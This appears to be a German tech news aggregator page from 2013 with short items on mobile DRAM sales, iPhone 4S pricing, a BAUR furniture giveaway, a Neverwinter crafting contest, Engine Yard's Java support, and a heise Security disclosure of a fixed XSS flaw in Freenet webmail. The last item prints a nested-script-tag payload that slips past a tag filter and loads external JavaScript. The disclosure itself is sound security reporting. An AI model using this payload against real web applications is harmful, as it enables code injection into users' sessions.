Gute Nachrichten für Samsung: Mobile DRAM Markt im Aufschwung
EL SEGUNDO (IT-Times) – Der Markt für mobile Dynamic Random Access Memory (DRAM) ist im zweiten Quartal 2013 sequenziell gewachsen. Dies ergab eine Studie des Marktbeobachters IHS. Der Umsatz auf dem mobilen DRAM Markt belief sich im zweiten Quartal dieses Jahres auf 2,8 Mrd. US-Dollar, was einem sequenziellen Wachstum von 26 Prozent entspricht. Dabei stiegen die Auslieferungen von mobilen DRAM bit um 24,1 Prozent, wobei der durchschnittliche Verkaufspreis um 1,5 Prozent nach oben ging. Der Anteil mobiler DRAMs am gesamten DRAM Markt lag bei 33 Prozent. Für die zweite Hälfte des Jahres 2013 rechnen die Marktbeobachter aus dem Hause IHS mit einem weiteren Wachstum im mobilen DRAM Markt. Ursache ist die erwartete große Nachfrage nach Smartphones und Tablets. German site Wichtiger...
MehrApple-Chef: iPhone 4S ist unser neues Billig-iPhone
Apple-Chef Tim Cook hat klar gestellt, dass das iPhone 5C nie als neues „Billig-iPhone“ vorgesehen war. Stattdessen soll nun das zwei Jahre alte iPhone 4S die Rolle des Einsteigermodells zum günstigen Preis übernehmen, um so neue Kundenschichten für Apples Smartphones zu erschließen. Im Vorfeld der Markteinführung des iPhone 5C gingen diverse Marktbeobachter und Analysten davon aus, dass Apple mit dem neuen Gerät mit Plastikgehäuse einen niedrigeren Preispunkt anpeilen würde, um so Kunden in aufstrebenden Märkten wie China anzusprechen. Daraus wurde bekanntermaßen nichts, denn das iPhone 5C kostet in seiner günstigsten Version satte 599 Euro. Im Gespräch mit Bloomberg BusinessWeek erklärte Tim Cook nun, dass sich die Strategie von Apple am unteren Ende des Marktes nicht geändert habe. Das neue Billig-iPhone ist daher das iPhone 4S. „Ich weiss, dass es einen starken Fokus auf die Frage gibt, ob der Preis niedrig genug ist“, so Cook. Man habe jedoch mit dem iPhone 4 in vielen Märkten enormen Erfolg gehabt, als es darum ging, eine günstigere Alternative zum neuesten iPhone anzubieten. Statt des iPhone 4 wird nun das iPhone 4S als Einsteigermodell angeboten, sagte der Apple-Chef. Das iPhone 4S werde von vielen Netzbetreibern in Verbindung mit neuen Verträgen mittlerweile kostenlos abgegeben. In bezuschussten Märkten sei das iPhone 4S teilweise noch attraktiver als das iPhone 5C. Weil man nun drei Geräte anbieten könne, erreiche man damit auch deutlich mehr Kunden. Man habe nie das Ziel gehabt, ein Low-Cost-Smartphone anzubieten, weil es schließlich um ein möglichst gutes Nutzungserlebnis gehe. Apple habe inzwischen aber einen Weg gefunden, das iPhone 4S erheblich günstiger zu verkaufen als bisher, was man nun auch an die Kunden weitergebe. Aktuell wird das iPhone 4S ohne Vertrag für 399 Euro verkauft. Dafür erhält der Kunde das Modell mit nur acht Gigabyte integriertem Speicher. Die früher verfügbaren Varianten mit mehr Speicher bietet Apple nicht mehr an. Durch die Beschränkung auf das 8-GB-Modell kann das Gerät wohl billiger produziert werden. Im freien Handel sind auch die 16, 32 und 64 GB Versionen des 4S weiter verfügbar, der Aufpreis gegenüber dem Basismodell ist jedoch inzwischen gestiegen. Deutsche Shclagzeilen Computer...
MehrExklusives Gewinnspiel von BAUR!
Ganz ehrlich, ob ich die Wahl hab auf einem Holzstuhl Platz zu nehmen, oder mich auf einen weich gepolsterten Sessel aus anschmiegsamem Leder (und auch noch einer eleganten Optik) hinzusetzen, dann ist die Entscheidung ganz einfach! Ich nehm den Sessel!!! Dieses Kult-Objekt könnt ihr jetzt bei BAUR gewinnen! Ja, ja ? ihr habt richtig gelesen: Wir verlosen 10 dieser Design-Leder-Sessel im Wert von je 1.299?! Gewinnspiel M-Quadrat Und das Beste: ihr müsst euch dafür nur unter folgendem Link anmelden. www.baur.de/mquadrat Das Gewinnspiel ist auf Seite 2 zu finden.Danach gilt es sich nur noch an einem Schornsteinfeger zu reiben, einen Glückspfennig zu finden und schwarzen Katzen aus dem Weg zu gehen ? so klappt es auch ganz bestimmt mit dem GLÜCK! Die 10 Glückspilze werden nach dem Gewinnspiel (Teilnahmeschluss ist der 16.10.2013) von uns per Mail informiert. Gewinn unseren exklusiven Design-Leder-Sessel P.S. Noch mehr solche tollen Möbelstücke und Einrichtungsideen, findet ihr in unserem druckfrischen M-Quadrat! Unser neuer M-Quadrat 2013/2014 Teilnahmebedingungen Die Teilnahme ist unabhängig von einer Bestellung. Eine Bestellung beeinflusst auch nicht Ihre Gewinnchance. Teilnehmen darf jeder über 18 Jahre, ausgenommen Mitarbeiter der BAUR GmbH & Co KG und deren Angehörige. Die Teilnahme über Einschaltung Dritter, wie z.B. Gewinnspiel-Agenturen, ist ausgeschlossen. Das Gewinnspiel findet nur in Deutschland statt. Die Gewinner werden per E-Mail benachrichtigt und erklären sich, sofern unter [email protected] kein Widerspruch erfolgt, damit einverstanden, dass gegebenenfalls ihr Name und Foto veröffentlicht werden. Eine Barauszahlung ist leider nicht möglich. Kann der Gewinn nicht zu den genannten Bedingungen angetreten werden, behalten wir uns vor, einen Ersatzgewinner zu ziehen. Der Rechtsweg ist ausgeschlossen. Teilnahmeschluss ist der 16.10.2013. VN:F [1.9.22_1171] Rating: 0.0/5 (0 votes cast) VN:F [1.9.22_1171] Sie können einen Kommentar hinterlassen. Author: BAUR Versand BAUR ist ein erfolgreiches Internethandelsunternehmen mit den Kernsortimenten Mode, Schuhe und Wohnen. Es hat seinen Hauptsitz im oberfränkischen Burgkunstadt und gehört zur weltweit agierenden Otto Group. BAUR überzeugt durch hohe Qualität, eine inspirierende Warenpräsentation sowie eine große Aktualität des Sortiments. Als einer der Top-10-Onlineshops in Deutschland bietet BAUR bestes Shopping-Erlebnis durch exzellente Serviceleistungen: Unter www.baur.de sind hochwertige Fremd- und Eigenmarken zu finden, mit denen die Kunden ihren Alltag wertvoller gestalten können. Ferner bietet der Onlineshop fachliche Beratung zu Trends, Tipps zu modischen Kombinationen und einen innovativen virtuellen Einrichtungsberater. In unabhängigen Tests erhält das Unternehmen regelmäßig positive Bewertungen: Beispielsweise haben das Deutsche Institut für Service-Qualität (DISQ) und der Nachrichtensender n-tv den Kundenservice von BAUR im März 2013 mit der Gesamtnote ?gut? ausgezeichnet. Auch im Bereich Social Media ist BAUR mit mehreren Blogs aktiv sowie mit Profilen auf allen großen Plattformen und Netzwerken vertreten: Mittlerweile hat BAUR auf Facebook über 100.000 Fans ? diese Fanpage wird auch durch einen Facebook-Shop ergänzt. Weiterhin hat das Unternehmen eine zukunftsweisende Mobile-Shopping-Plattform für Tablets und Smartphones gestartet. Diesen Artikel kommentieren Deutsche Blog – Nachrichten weitere...
MehrNeverwinter – Gonds Prüfung – Wettbewerb für Handwerker
Legt die Waffen beiseite und schnappt euch den Hammer, die Nadel oder das Führungszepter, denn Perfect World ruft zu Gonds Prüfung auf. Ab dem 25. September 2013 startet ein Wettbewerb, der sich an die Handwerker und Führungspersönlichkeiten richtet. Gond, der Gott der Schmiede, Kunsthandwerker, Handwerker und Baumeister, kehrt in Neverwinter ein und stellt euer handwerkliches Geschick auf die Probe. Bei Gonds Prüfung müsst ihr in diversen Kategorien bestimmte Leistungen in den Handwerksberufen erreichen und Punkte sammeln. Wer am Ende des Wettbewerbs die meisten Punkte gesammelt hat, darf sich über ZEN freuen und mit dem Foren-Titel „Auserwählter Gonds“ schmücken. Es werden drei Gewinner ausgelobt. Für den Wettbewerb müsst ihr euch anmelden. Gonds Prüfung läuft bis zum 28. Oktober 2013. Die Punktevergabe für die erbrachten Leistungen sind ? ?Erfahren? ? Erreicht Stufe 20 in einem Beruf (ausgenommen Waffenschmieden, Alchemie und Kunstwerk) 1 Punkt (kumulativ)? ?Multitalent? ? Erreicht Stufe 10 in allen Berufen 8 Punkte? ?Auserwählter Gonds? ? Erreicht Stufe 20 in allen Berufen 12 Punkte? ?Die nächste große Aufgabe? ? Erreicht Stufe 20 in Alchemie, Waffenschmieden und Kunstwerk 12 Punkte? ?Abgedrehte Wissenschaft? ? Erreicht Stufe 20 in Alchemie 3 Punkte? ?Ganz schön scharf? ? Erreicht Stufe 20 in Waffenschmieden 3 Punkte? ?Kostbares Edelmetall? ? Erreicht Stufe 20 im Kunsthandwerk 3 Punkte? ?Magisches Werkzeug? ? Stellt einen Gegenstand mit 96% kritischem Erfolg her 2 Punkte? ?Artefakt? ? Stellt einen Gegenstand mit mindestens 128% kritischem Erfolg her 4 Punkte? ?Workshop? ? Stellt einen Gegenstand mit 100% reduzierter Zeit her 1 Punkt? ?Akkordarbeit? ? Stellt einen Gegenstand mit mindestens 150% reduzierter Zeit her 2 Punkte? ?Angesehener Handwerker? ? Stellt einen Gegenstand blauer Qualität her 3 Punkte? ?Handwerks-Meister? ? Stellt einen Gegenstand violetter Qualität her 5 Punkte Weitere Informationen zu Gonds Prüfung, zur Anmeldung, zu den Teilnahmebedingungen und Wettbewerb-Regeln findet ihr in der Ankündigung auf der offiziellen Neverwinter-Webseite. klicken für Quelle...
MehrJavaOne: Engine Yard spricht Java
Die mit Heroku und Rackspace konkurrierende Platform as a Service (PaaS) Engine Yard unterstützt nun nach Ruby, PHP und Node.js (JavaScript) auch in Java geschriebene Anwendungen. Das ist ein konsequenter und nachvollziehbarer Schritt, da Unternehmen zunehmend das Interesse haben, ihre Java-Applikationen Cloud-fähig zu machen, oder beginnen, neue Anwendungen gleich für die Cloud zu entwickeln, und das, obgleich der Betrieb von Java-Anwendungen in Cloud-Umgebungen noch nicht durch die derzeit aktuelle Enterprise-Java-Version abgedeckt ist. Die zur JavaOne angekündigte Java-Unterstützung hat erst mal Beta-Status, auch geht der Betrieb erst in rund einem Monat los, aber bis dahin kann man sich schon mal den Zugang registrieren. Entwickler finden für das Deployment ihrer Anwendungen eine auf Ubuntu basierende Linux-Distribution, die auf den Betrieb mit der Java Virtual Machine abgestimmt wurde. Außerdem stellt Engine Yard Musterkonfigurationen zur Verfügung. Über eine mit AngularJS und Node.js gebaute Oberfläche bekommen die Anwender Möglichkeiten zur Administration. Mit der Ankündigung der Java-Unterstützung geht außerdem einher, dass Engine Yard, das zu den ersten PaaS-Betreibern gehört, schon bald Angebote für Oracles Public-Cloud-Angebot bereitstellen will. Dafür ist das Unternehmen mit dem Datenbankriesen schon vor einiger Zeit eine Partnerschaft eingegangen, in deren Rahmen Oracle als Investor bei Engine Yard eingestiegen war. Andere durch Engine Yard unterstützte Cloud-Plattformen sind derzeit Amazon Web Services, Verizon, Windows Azure und Terremark. (ane) Ressourcen zusätzliche...
MehrScripting-Lücke im Webmail-Client von Freenet
Angreifer konnten beliebigen Javascript-Code einschleusen. Im Zuge von Recherchen zum einem c’t-Artikel über Privatsphäre im E-Mail-Verkehr ist heise Security auf eine Javascript-Sicherheitslücke in der Webmail-Anwendung von Freenet gestoßen. Die Sicherheitsvorkehrungen des Webmail-Clients entfernten Javascript-Tags auf ungenügende Weise, so dass ein Angreifer sie mit einem Trick aushebeln konnte. So war es dann möglich, Schadcode in E-Mails einzubetten, der beim Lesen in der Web-Applikation ausgeführt wurde. Nachdem heise Security das Telekommunikationsunternehmen über die Lücke informiert hat, wurde diese noch am selben Tag geschlossen. Um den Sicherheitsfilter zu überlisten, musste ein Angreifer seine <script>-Tags nur zerstückeln und dazwischen einen zweiten Satz Tags einbetten. Das ganze sah folgendermaßen aus: <sc<script></script>ript type=“text/javascript“ src=“http://www.heise.de/security/dienste/browsercheck/tests/script-msg.js“></sc<script></script>ript> Der Freenet-Filter entfernte dabei den inneren, kompletten Tag (rot), was dazu führte, dass der zerstückelte Tag (blau) zu einem gültigen HTML-Befehl zusammengesetzt wurde: <script type=“text/javascript“ src=“http://www.heise.de/security/dienste/browsercheck/tests/script-msg.js“></script> Nach dem Durchlauf des Filters bleibt also ausführbarer Code übrig und wird beim Lesen der E-Mail auch korrekt verarbeitet. Ein besserer Filter hätte alles entfernt, was sich zu einem <script>-Befehl zusammenfügen lässt. Wie gefährlich die durch den nachlässigen Filter entstandene Lücke war, zeigt das vorangegangene Beispiel. Durch das Einschleusen der <script>-Tags lässt sich beliebiger Javascript-Code von einer anderen Webseite nachladen und im Kontext des Freenet-Clients anzeigen. Auf diese Weise wäre es möglich gewesen, Freenet-Kunden mit Schadcode zu infizieren, indem man ihnen eine E-Mail schickt. Das Öffnen der E-Mail hätte genügt, um die Falle zuschnappen zu lassen. (fab[1]) zusätzliche Ressourcen...
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